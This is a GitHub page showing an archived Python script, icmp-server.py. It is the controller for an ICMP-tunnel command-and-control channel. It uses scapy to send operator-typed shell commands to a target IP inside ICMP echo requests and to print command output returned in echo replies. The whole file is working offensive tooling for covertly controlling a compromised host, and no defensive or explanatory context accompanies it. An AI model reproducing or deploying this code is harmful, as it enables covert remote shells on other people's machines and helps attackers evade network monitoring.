This repository was archived by the owner on Sep 9, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathicmp-server.py
55 lines (45 loc) · 1.55 KB
/
icmp-server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from scapy.all import sr,IP,ICMP,Raw,sniff
from multiprocessing import Process
import argparse
IDCMP = 13170
ttl = 64
#parses user args #not really
parser = argparse.ArgumentParser()
parser.add_argument('-i''--interface',type=str,required=True,help="Listener (virtual) Network Interface eth0")
parser.add_argument('-d','--destination_ip',type=str,required=True,help="Destination IP adress")
args = parser.parse_args()
#
def main():
sniffer = Process(target=start_sniff)
sniffer.start()
print("[+]C2 Begin")
while True:
icmpShell = input('cmd> ')
if(icmpShell == 'exit'):
print("[-]C2 End")
sniffer.terminate()
break
elif icmpShell == '':
pass
else:
payload = (IP(dst=args.destination_ip, ttl = ttl)/ICMP(type=8, id =IDCMP)/Raw(load = icmpShell))
sr(payload, timeout =0, verbose =0)
sniffer.join()
def cmd(packet):
if packet[IP].src == args.destination_ip and packet[ICMP].type == 0 and packet[ICMP].id == IDCMP and packet[Raw].load:
icmpPacket = (packet[Raw].load).decode('utf-8', errors = 'ignore').replace('\n','')
print(icmpPacket)
else:
pass
def start_sniff():
sniff(iface='Ethernet',prn=cmd, filter="icmp", store="0")
#iface is hardcoded
#Trys scapy
if __name__ == "__main__":
try:
from scapy.all import sr,IP,ICMP,Raw,sniff
except ImportError:
print('[*] Python3 scapy module not installed')
print('[*] use the command $ pip3 install scapy')
exit()
main()